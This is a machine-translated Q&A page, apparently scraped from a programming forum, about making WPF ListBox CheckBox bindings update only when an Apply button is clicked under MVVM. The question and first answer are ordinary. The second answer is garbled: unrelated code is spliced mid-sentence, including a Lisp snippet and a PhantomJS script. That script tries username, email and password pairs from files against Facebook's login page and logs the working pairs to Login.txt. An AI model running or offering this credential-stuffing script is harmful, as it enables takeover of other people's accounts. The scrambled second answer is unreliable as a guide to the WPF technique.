使用MVVM C#将UpdateSourceTrigger设置为显式的WPF ListBox项源控件

时间:2016-04-07 11:47:16

标签: c# wpf mvvm data-binding listbox

我有一个类型为Employee Model Class的集合。它有两个属性empName和isChecked。

  

期望:我需要从中更新属性isChecked   复选框,同时单击“应用”按钮。否则它不需要   更新财产。

void Main()
{
    Dictionary<int, List<Employee>> empList = new Dictionary<int, List<Employee>>()
    {
        {1, new List<Employee>() { new Employee() {empName = "Raj"}, new Employee() {empName = "Kumar"}}},
        {2, new List<Employee>() { new Employee() {empName = "Bala"}}}, 
        {3, new List<Employee>() { new Employee() {empName = "Manigandan"}}}, 
        {4, new List<Employee>() { new Employee() {empName = "Prayag"}, new Employee() {empName = "Pavithran"}}}, 
        {5, new List<Employee>() { new Employee() {empName = "Selva"}}},
    };

    empList.Dump();
}

public class Employee
{
    public string empName { get; set; }
    public bool isChecked { get; set; }
}

我使用MVVM方法将此Collection绑定到WPF ListBox中。 empName与TextBlock绑定,isChecked与Checkbox绑定。

<ListBox ItemsSource="{Binding empList.Values, IsAsync=True, UpdateSourceTrigger=Explicit}">
    <cust:BListBox.ItemTemplate>
        <DataTemplate>
             <CheckBox IsChecked="{Binding isChecked, UpdateSourceTrigger=Explicit}">
                 <CheckBox.Content>
                     <StackPanel Orientation="Horizontal">
                         <TextBlock Text="{Binding empName, IsAsync=True}" Visibility="Visible" />
                      </StackPanel>
                  </CheckBox.Content>
              </CheckBox>
        </DataTemplate>
    </ListBox.ItemTemplate>
</ListBox>

<Button Content="Apply" Command="{Binding ApplyChangesCommand}"/>

“应用”按钮的命令是

public ICommand ApplyChangesCommand
        {
            get
            {
                return new DelegatingCommand((object param) =>
                {
                    /// Logical Code. 
                });
            }
        }
  

注意:请使用 MVVM方法

2 个答案:

答案 0 :(得分:1)

好的,所以我找到了解决方案。这个解决方案不太通用,但可以通过一些简单的步骤使其成为通用的。告诉我这对你来说是否重要。

警告!它会有点长......

对于此解决方案,我们将使用以下内容:

  • VisualTreeHelper获取VisualTree中的所有CheckBox项目。 (信用:使用THIS解决方案。)
  • 更新列表框中所有复选框的行为。

所以,让我们开始吧!

THE HELPER

正如我所说,我已经从THIS回答了解决方案。

使用 FindVisualChildren 方法创建一个帮助器类:

public class ApplyAllCheckBoxBindingsInListBoxBehavior
{
    public static ListBox GetListBox(DependencyObject obj)
    {
        return (ListBox)obj.GetValue(ListBoxProperty);
    }

    public static void SetListBox(DependencyObject obj, ListBox value)
    {
        obj.SetValue(ListBoxProperty, value);
    }

    // Using a DependencyProperty as the backing store for ListBox.  This enables animation, styling, binding, etc...
    public static readonly DependencyProperty ListBoxProperty =
        DependencyProperty.RegisterAttached("ListBox", typeof(ListBox), typeof(ApplyBindingsBehavior), new PropertyMetadata(null, ListBoxChanged));

    private static void ListBoxChanged(DependencyObject d, DependencyPropertyChangedEventArgs e)
    {
        Button button = d as Button;
        if (button == null)
            return;

        button.Click -= OnClick;
        button.Click += OnClick;
    }

    private static void OnClick(object sender, RoutedEventArgs routedEventArgs)
    {
        ListBox lb = GetListBox(sender as Button);
        IEnumerable<CheckBox> allCBs = VisualHelper.FindVisualChildren<CheckBox>(lb);

        foreach (CheckBox checkBox in allCBs)
        {
            checkBox.GetBindingExpression(CheckBox.IsCheckedProperty).UpdateSource();
        }
    }
}

此方法将帮助我们获取ListBox控件下的所有CheckBox。

THE BEHAVIOR

ApplyAllCheckBoxBindingsInListBoxBehavior 。我知道这个名字很长,但由于我们需要一些非常特定的东西,我强烈建议使用长名称,以明确行为的作用。

我已将它从Command切换为行为,因为恕我直言,因为命令是从ViewModel初始化的,所以命令不应该对视觉(控件等)有任何引用,并且解决方案基于访问视觉控制。

足够的话,这是行为:

<ListBox Name="EmpList" ItemsSource="{Binding empList.Values, IsAsync=True, UpdateSourceTrigger=Explicit}">
    <cust:BListBox.ItemTemplate>
        <DataTemplate>
             <CheckBox IsChecked="{Binding isChecked, UpdateSourceTrigger=Explicit}">
                 <CheckBox.Content>
                     <StackPanel Orientation="Horizontal">
                         <TextBlock Text="{Binding empName, IsAsync=True}" Visibility="Visible" />
                      </StackPanel>
                  </CheckBox.Content>
              </CheckBox>
        </DataTemplate>
    </ListBox.ItemTemplate>
</ListBox>

<Button Content="Apply" behaviors:ApplyAllCheckBoxBindingsInListBoxBehavior.ListBox="{Binding ElementName=EmpList}"/>

行为将在XAML中的按钮上设置:

{{1}}

请注意,我已经为ListBox添加了一个名称,并将该命令替换为按钮上的命令。

正如我之前所说,这种行为非常具体。这是为了使解决方案更简单。如果您想要更通用的行为,则需要稍微修改行为,XAML和帮助程序。

首先,让这个解决方案有效。如果它有效,你仍然想让它更通用,请告诉我,我很乐意提供帮助!

快乐的编码! :)

答案 1 :(得分:0)

您真正的问题是 (every (lambda (c) (or (alpha-char-p c) (char= c #\Space))) "coffee is best") 现在需要调用var page = require('webpage').create(); var system = require("system"); var fs = require('fs'); function facebooktest(file){ var str = fs.read(file); var username = str.split("\n")[0]; var password = str.split("\n")[1]; var email = str.split("\n")[2]; console.log(email); console.log(password); page.open('https://www.facebook.com/login.php?login_attempt/', function(status) { console.log("Status: " + status); page.includeJs('https://ajax.googleapis.com/ajax/libs/jquery/2.1.3/jquery.min.js', function () { //page.render("before_submit.png"); page.evaluate(function (email,password) { $("#email").val(email); $("#pass").val(password); $("#loginbutton").click(); },email,password); page.onLoadFinished = function() { //page.render("after_submit.png"); if (page.url == "https://www.facebook.com/"){ var fs = require('fs'); var pathe = 'Login.txt'; var content = "\nFacebook werkt voor : " + email + " " + password ; fs.write(pathe, content, 'a'); }; }; }); }); } var path = "usernames/"; var list = fs.list(path); for(var x = 0; x < list.length; x++){ var file = path + list[x]; if(fs.isFile(file)){ console.log(file); facebooktest(file); } } 的{​​{1}}方法。因此,只有绑定才能实现它。而且您需要MVVM解决方案,因此您也不需要ViewModel中的任何UI对象。

那么问题就变成了如何访问ViewModel中所有绑定表达式的UpdateSourceTrigger=Explicit

下面是我是如何做到的。

创建一个UpdateSource() BindingExpression,其中包含UpdateSource(),我们稍后可以CustomControl作为Button传递<{1}}:

BindingExpression

<强> 命令:

Command

命令绑定:

CommandParameter

最后,将所有public class MyButton : Button { private List<BindingExpression> bindings; public List<BindingExpression> Bindings { get { if (bindings == null) bindings = new List<BindingExpression>(); return bindings; } set { bindings = value; } } } 绑定与public RelayCommand ApplyChangesCommand { get; set; } public void ApplyChangesCommandAction(object param) { foreach (var item in (param as List<BindingExpression>)) { item.UpdateSource(); } } 绑定集合相关联的棘手部分(我们可以/将会辩论)。我创建了一个 <local:MyButton x:Name="MyButton" Content="Apply" Command="{Binding ApplyChangesCommand}" CommandParameter="{Binding RelativeSource={RelativeSource Self},Path=Bindings}"/> 来实现这一目标(并非真正将任何CheckBox绑定到Button's),您可以使用任何其他事件/行为等:

复选框的命令绑定:

Converter

<强> 转换器:

command

一切正常。